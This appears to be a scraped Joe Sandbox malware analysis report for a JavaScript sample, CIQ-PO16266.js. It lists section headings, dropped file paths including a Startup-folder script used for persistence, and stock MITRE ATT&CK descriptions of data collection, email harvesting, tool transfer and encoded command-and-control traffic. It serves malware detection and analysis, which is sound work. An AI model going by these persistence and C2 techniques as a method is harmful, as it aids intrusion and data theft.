Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe

C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe

C:\Users\user\AppData\Local\Temp\DB1

C:\Users\user\AppData\Local\Temp\bin.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js

C:\Users\user\AppData\Roaming\wtheeNaAZG.js

Static File Info

General

Windows Analysis Report
CIQ-PO16266.js

Function 0001A140 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Function 0002A31A Relevance: 1.5, APIs: 1, Instructions: 42
filenativeCOMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.Some data encoding systems may also result in data compression, such as gzip.
Tactics:	Command and Control
Data Sources:	Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre